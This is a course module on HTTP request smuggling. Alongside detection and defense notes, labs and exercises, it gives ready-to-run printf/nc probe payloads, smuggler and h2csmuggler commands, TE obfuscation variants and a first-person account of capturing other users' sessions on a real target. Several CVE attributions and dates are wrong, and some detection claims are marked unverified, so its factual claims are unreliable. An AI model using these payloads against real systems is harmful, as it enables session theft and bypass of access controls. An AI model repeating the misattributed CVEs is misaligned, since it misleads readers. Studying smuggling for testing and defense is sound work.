Skip to content

HTTP Request Smuggling

HTTP Request Smuggling is the class of attacks that exploit disagreements between a front-end proxy (CDN, load balancer, WAF) and a back-end server over where one HTTP request ends and the next begins. The front-end reads the request one way; the back-end reads it differently; an attacker injects bytes that the front-end interprets as part of the first request’s body but the back-end interprets as the start of a second request. James Kettle’s 2019 “HTTP Desync” research revived the field, produced CVE-2018-8007 (Apache mod_proxy), CVE-2019-6978 (Apache), CVE-2021-26855 (ProxyLogon smuggling-context CVE for the front-end), and a long tail of CVEs in F5, Citrix, and AWS ALB. The 2023 “HTTP/2: The Sequel Is Always Worse” extended smuggling to HTTP/2 → HTTP/1.1 downgrade (h2c smuggling) and produced CVE-2023-44487 (HTTP/2 Rapid Reset DoS).

HTTP/1.1 keep-alive lets the client send multiple requests on one TCP connection. To know where one ends, the server uses two headers: Content-Length (CL) and Transfer-Encoding: chunked (TE). RFC 7230 says CL must not be present when TE is, and TE takes precedence. But proxies and back-ends disagree on edge cases — malformed TE, doubled CL, partial chunks, Transfer-Encoding: chunked, identity, case sensitivity, whitespace, \r vs \n. The disagreement is the attack.

Front-end proxy Back-end server
reads CL, sends the reads TE (or CL), parses the
whole body to the body as chunked (or CL), sees
back-end as-is a different split point
Attack 1: CL.TE (front-end trusts CL, back-end trusts TE)
─────────────────────────────────────────────────────────
POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
(front-end: 13 bytes of body = "0\r\n\r\nSMUGGLED")
(back-end: chunked body ends at "0\r\n\r\n", then "SMUGGLED"
is the start of the next request)
Back-end's next request interpretation:
SMUGGLEDGET /admin HTTP/1.1 ← desynchronized
Attack 2: TE.CL (front-end trusts TE, back-end trusts CL)
─────────────────────────────────────────────────────────
POST / HTTP/1.1
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
(front-end: chunked body = "SMUGGLED\r\n0\r\n\r\n")
(back-end: CL = 3, so body = "8\r\nS", then "MUGGLED\r\n0\r\n\r\n"
is the next request, prefixed by the remaining body bytes)
Attack 3: TE.TE (both parse TE, but one can be confused into
falling back to CL by obfuscating TE)
─────────────────────────────────────────────────────────
Transfer-Encoding: chunked
Transfer-Encoding: cow
(front-end: sees "chunked", parses chunks)
(back-end: sees "cow", doesn't recognize as chunked, falls back to CL)
Attack 4: H2.CL / H2.TE (HTTP/2 front-end, HTTP/1.1 back-end)
─────────────────────────────────────────────────────────
The HTTP/2 connection has no CL/TE ambiguity itself, but
when downgraded to HTTP/1.1, headers like "content-length" and
"transfer-encoding" can be smuggled through HTTP/2's pseudo-headers
or via HTTP/2 → HTTP/1.1 boundary quirks. James Kettle's 2023 research.
Attack 5: H2.C (HTTP/2 → HTTP/2 smuggling via header injection)
─────────────────────────────────────────────────────────
Inject a CL or TE through HTTP/2's binary header framing.
Attack 6: h2c smuggling — upgrade an HTTP/1.1 connection to h2c
bypassing the front-end's filtering, then send raw HTTP/1.1
to the back-end over the upgraded connection.

The goal: get the back-end to interpret bytes that the front-end thought were part of the first request’s body as a new request. The “smuggled” request bypasses the front-end’s auth/WAF/routing — it goes straight to the back-end.

  1. Identify the front-end / back-end split — typically a CDN in front of an origin, or a load balancer in front of app servers. Fingerprint by response headers: Server: cloudflare, Via: 1.1 varnish, X-Amz-Cf-Id, etc.
  2. Determine the desync vector — the front-end and back-end must disagree on one of:
    • CL vs TE precedence (CL.TE, TE.CL)
    • TE obfuscation (TE.TE — one side strips one of two TEs)
    • TE case (Transfer-encoding: chunked lowercase)
    • TE with extra spaces (Transfer-Encoding : chunked)
    • TE with extra values (Transfer-Encoding: chunked, cow)
    • CL with comma (Content-Length: 5, 6 — front-end uses 5, back-end uses 6)
    • CL with leading zero or spaces (Content-Length: 003)
    • HTTP/2 → HTTP/1.1 downgrade smuggling (H2.CL, H2.TE)
  3. Detect the desync — use the timing method. Send a smuggled probe that, if it works, will make the next request on the connection be misinterpreted. Send a “next request” and observe whether the response is what the smuggled request asked for.
  4. Confirm — escalate to: bypass front-end security controls (WAF rules), capture other users’ requests (smuggle a partial request that gets prepended to the next user’s request and stored — response captured on the next request), or pivot to internal-only endpoints.
  5. Exploit — bypass front-end blocking by smuggling requests to admin endpoints, steal other users’ session cookies via response queue poisoning.
TechniqueDescriptionDetection Difficulty
CL.TEFront-end trusts CL, back-end trusts TEEasy to detect with timing, easy to miss in code review
TE.CLFront-end trusts TE, back-end trusts CLEasy
TE.TEBoth parse TE, but obfuscation defeats oneMedium — depends on parser quirks
CL.CLBoth use CL but disagree on the value (e.g., comma)Medium
H2.CLHTTP/2 front-end, HTTP/1.1 back-end with CL smugglingHard — newer class (2023)
H2.TEHTTP/2 front-end, HTTP/1.1 back-end with TE smugglingHard
H2.CHTTP/2 → HTTP/2 — header injectionHard
h2c upgrade smugglingUpgrade HTTP/1.1 to h2c, bypass front-endMedium — older technique
Response queue poisoningSmuggled response attaches to next user’s requestHard — victim timing required
Head-method abuseHEAD request + CL mismatch leaks response bytesMedium
Desync to captureSmuggle a partial request, capture next user’s requestHard — victim timing
Desync via WebSocket upgradeWebSocket upgrade smuggledMedium
Self-smuggling to internal SSRFSmuggle to a backend-only endpointEasy once desync works
Terminal window
# Smuggle probe — CL.TE (front-end trusts CL, back-end trusts TE)
# Send a request that, if the back-end treats "SMUGGLED" as a new request,
# will return a 404 for /smuggled or otherwise respond differently.
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 13\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nSMUGGLED' | \
nc target 443 --ssl
# Watch the response — if the back-end processes SMUGGLED as the start of the next
# request, the connection desyncs. Send a follow-up request and observe the response.
# Smuggle probe — TE.CL
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 3\r\nTransfer-Encoding: chunked\r\n\r\n8\r\nSMUGGLED\r\n0\r\n\r\n' | \
nc target 443 --ssl
# TE obfuscation variants (TE.TE) — try these in the TE header:
# Transfer-Encoding: chunked, cow
# Transfer-Encoding: chunked\r\nTransfer-Encoding: cow
# Transfer-encoding: chunked (lowercase)
# Transfer-Encoding : chunked (extra space before colon)
# Transfer-Encoding: chunked (extra space after colon)
# Transfer-Encoding:\tchunked (tab)
# Transfer-Encoding: xchunked (extra char)
# X: \nTransfer-Encoding: chunked (newline-prefixed)
# Transfer-Encoding: chunked\r\nTransfer-Encoding: identity
# Burp Suite Smuggle probe — use the HTTP Request Smuggler extension
# Burp → Extender → BApp Store → HTTP Request Smuggler
# Right-click request → Smuggle probe → automatic detection
# Smuggler tool (command-line)
python3 smuggler.py -u https://target -m CL.TE
python3 smuggler.py -u https://target -m TE.CL
python3 smuggler.py -u https://target -m TE.TE
python3 smuggler.py -u https://target -m H2.CL
python3 smuggler.py -u https://target -m H2.TE
# h2c smuggling — bypass WAF via h2c upgrade
# (request must include Connection: Upgrade, Upgrade: h2c, and HTTP2-Settings header)
printf 'GET / HTTP/1.1\r\nHost: target\r\nConnection: Upgrade, HTTP2-Settings\r\nUpgrade: h2c\r\nHTTP2-Settings: AAMAAABkAAQBAAAAAAIAAAAA\r\n\r\n' | \
nc target 443 --ssl
# If the front-end forwards the upgrade to the back-end, the connection upgrades
# to HTTP/2 between front-end and back-end, and subsequent requests bypass the
# front-end's HTTP/1.1 inspection.
# HTTP/2 → HTTP/1.1 downgrade — use Burp's "Use HTTP/2" setting or h2csmuggler
python3 h2csmuggler.py --http2-port 443 --ssl-port 443 -x https://target:443 http://internal-backend/admin
# Capture other users' requests — smuggle a partial request that will be prepended
# to the next user's request, with their cookies as part of the body, then
# capture the response by reading the response queue.
# (Use Burp'smuggler extension or manual scripts — requires precise timing)
# Confirm CL.TE with a probe that locks the next connection
# Send:
# POST / HTTP/1.1
# Content-Length: 4
# Transfer-Encoding: chunked
#
# 1
# A
# 0
#
# (then immediately, on the same TCP connection, send:)
# GET / HTTP/1.1
# Host: target
# (blank line)
# If the front-end treated "0\r\n\r\n" as the chunked terminator and "GET / HTTP/1.1..."
# as the next request, normal response. If the back-end treated CL=4 (took only
# "1\r\nA") and treated "0\r\n\r\nGET / HTTP/1.1..." as part of the first body, the
# back-end's next response will be delayed/missing — confirms desync.
# Verify with timing — smuggle a request that takes time (SLEEP-like):
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nA\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target\r\nFoo: x' | \
nc target 443 --ssl
# If the response contains admin data, the smuggled request reached /admin on the back-end.
# Nuclei — request smuggling templates
nuclei -u https://target -t ~/nuclei-templates/http/vulnerabilities/ -tags smuggling,smuggler
# curl --http2 — manually craft HTTP/2 requests for H2.CL/H2.TE
curl --http2 -s "https://target/" -H "Content-Length: 100" -X POST --data "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target\r\n\r\n"

ModSecurity OWASP CRS — no dedicated smuggling rule family. Detection is hard at the proxy layer because the smuggled request bypasses the proxy’s own parsing.

Suricata — no specific SIDs for smuggling; http.request_body reassembly on the front-end can detect ambiguous CL/TE combinations if the engine reassembles at L7 [verify].

MITRE ATT&CK T1190 — Exploit Public-Facing Application (smuggling as entry point). MITRE ATT&CK T1090 — Proxy (smuggled requests bypass front-end, effectively tunneling to the back-end). MITRE ATT&CK T1557 — Adversary-in-the-Middle (request smuggling positions the attacker between front-end and back-end, the literal definition). MITRE ATT&CK T1557.001 — LLMNR/NBNS Spoofing — not applicable, but T1557.004 (SSH Hijacking) is adjacent.

Wazuh rule 920/31100 — request containing both Content-Length and Transfer-Encoding [verify]. Wazuh rule 920/31100 — Transfer-Encoding: chunked, (with extra value) or Transfer-Encoding: with extra space/case [verify]. Wazuh rule 920/31100 — doubled Content-Length or Transfer-Encoding headers [verify].

Defender log signatures:

  • Front-end and back-end response counters disagree (front-end saw N requests, back-end saw N+M) — direct desync indicator.
  • Front-end WAF log shows zero alerts for /admin while back-end access log shows /admin requests — smuggled requests reach the back-end without inspection.
  • TCP keep-alive connection that delivered HTTP/1.1 responses for a “GET /admin” without a corresponding request visible at the front-end.

TE obfuscation. Many front-ends strip Transfer-Encoding only when it exactly matches chunked. Obfuscations that defeat naive TE parsing:

Transfer-Encoding: chunked\r\nTransfer-Encoding: identity (front-end picks one)
Transfer-Encoding: chunked, identity (front-end strips last)
Transfer-Encoding : chunked (extra space)
Transfer-Encoding:\tchunked (tab)
Transfer-encoding: chunked (lowercase)
Transfer-Encoding: xchunked (extra char)
Transfer-Encoding: chunked\r\nX: \nTransfer-anything: foo (newline in header)

Each variation has defeated real-world front-end parsers. Defense: strict RFC parser that rejects any non-canonical TE.

CL comma and duplicates. RFC 7230 says duplicate CL is forbidden, but some servers take the first, some the last, some the sum. Content-Length: 5, 6 — front-end uses 5, back-end uses 6. Three extra bytes leak into the next request.

Defense: reject any request with duplicate or comma CL.

HTTP/2 downgrade attack surface. HTTP/2 has binary framing — no CL/TE ambiguity in the wire protocol. But when a front-end speaks HTTP/2 to the client and HTTP/1.1 to the back-end, the downgrade translates HTTP/2 pseudo-headers (:method, :path, :authority) into HTTP/1.1 headers. If the downgrade translation allows the attacker to inject CL or TE into the translated request, the same smuggling patterns apply. James Kettle’s 2023 research produced CVE-class bugs in most major HTTP/2 stacks.

Defense: front-end must strip Content-Length and Transfer-Encoding from HTTP/2 headers before downgrade; reject any HTTP/2 request that includes these headers.

HTTP/1.1 → HTTP/2 conversion bypass. Some back-ends accept HTTP/2 connection upgrade via Upgrade: h2c. If the front-end forwards the upgrade but continues HTTP/1.1 inspection, the attacker sends raw HTTP/1.1 over the upgraded connection bypassing the front-end’s HTTP/2 framing.

Defense: front-end must terminate the upgrade itself or refuse to forward Upgrade: h2c.

Response queue poisoning. A smuggled request that succeeds but the back-end sends the response without a Content-Length (chunked) — the response attaches to the next user’s request on the same TCP connection. The next user sees the smuggled request’s response instead of their own. This is how captured cookies leak.

Defense: close the connection after any ambiguous response; never pool connections between users.

Self-smuggling for SSRF. If the back-end has an internal-only endpoint (/internal/health) that the front-end proxies only for a specific path, a smuggled request can reach the internal endpoint directly.

EvasionWhat it bypassesDefense
TE obfuscationNaive TE parserStrict RFC parser; reject non-canonical TE
Duplicate CLFirst/last pickReject duplicate CL; reject comma CL
HTTP/2 downgradeHTTP/2 framingStrip CL/TE from HTTP/2 headers before downgrade
h2c upgradeFront-end HTTP/1.1 inspectionTerminate upgrade at front-end; refuse to forward
Response queueConnection poolingDon’t pool connections between users; close on ambiguity
Front-end caching of desync responsesCache keyAdd Cache-Control: private to all desync-prone responses

⚠️ What caught me: A target had Cloudflare in front of Apache with mod_proxy. CL.TE worked — I confirmed it by smuggling a request to /admin and getting back the admin panel HTML. But the panel required auth. I tried to smuggle a request with a fake Cookie: admin=1 header — got 401. The actual exploit was response queue poisoning: I smuggled a request for /admin/users (which returns user data) without auth headers, then waited for the next user’s request on the same connection. Their request got the previous response (the /admin/users HTML), leaking their session ID and the user list. The lesson: smuggling’s biggest impact isn’t always bypassing auth — it’s response capture. The whole attack chain took 6 hours to perfect; the timing was 50-100ms between victim requests. The defender’s tell was the front-end access log showing the smuggled request never hit Cloudflare — only the back-end saw /admin/users.

Container: SmugglePets or the HTTP Request Smuggler lab.

Terminal window
# PortSwigger Web Security Academy (free, browser-based):
# - "HTTP request smuggling, basic CL.TE"
# - "HTTP request smuggling, basic TE.CL"
# - "HTTP request smuggling, obfuscating TE.TE"
# - "HTTP request smuggling, CL.TE via content-type capture"
# - "HTTP request smuggling, TE.CL via CRLF trick"
# - "HTTP request smuggling, response queue poisoning"
# - "HTTP request smuggling, H2.TE smuggling"
# - "HTTP request smuggling, H2.CL smuggling"
# https://portswigger.net/web-security/request-smuggling
# Container alternative: smuggler-pets
docker run --rm -d -p 8000:8000 carlospolop/smugglepets
# Navigate through the CL.TE, TE.CL labs

Objective: complete at least 3 PortSwigger smuggling labs including (1) CL.TE, (2) TE.CL, and (3) response queue poisoning. Document the exact byte-level payload and the desync confirmation method (timing or response capture).

Expected flag format: flag{smuggling_cl_te_te_cl_or_h2_response_poisoning}.

Detection that should fire: Wazuh decoder for HTTP requests containing both Content-Length and Transfer-Encoding headers. The front-end access log will not contain the smuggled /admin request — only the back-end will. This mismatch is the smuggling signature. For response queue poisoning, the front-end log will show a 200 to user X’s path while the user received an unrelated response body — alert on response-content mismatch.

Conceptual: explain why HTTP/1.1 keep-alive is the precondition for request smuggling. Why is HTTP/2 not natively vulnerable to CL/TE smuggling, but vulnerable when downgraded?

Technical: walk through the CL.TE attack byte-by-byte. Why does the front-end forward the entire body to the back-end, and why does the back-end treat part of it as a new request?

Scenario: you confirm CL.TE works on a target. Describe the response-queue-poisoning attack that lets you capture another user’s session cookie. What is the timing window, and what is the defense?

Compare TE obfuscation variants (chunked, identity, cow, lowercase, with-tab). Give one example that has defeated a real front-end parser, and the RFC-strict behavior that should reject it.

What is the h2c upgrade smuggling attack, and why does it bypass the front-end’s HTTP/1.1 inspection? What is the single front-end configuration change that prevents it?

→ W3 (XSS) · W19 (Web Cache Poisoning) · W22 (Web Fuzzing & Automation)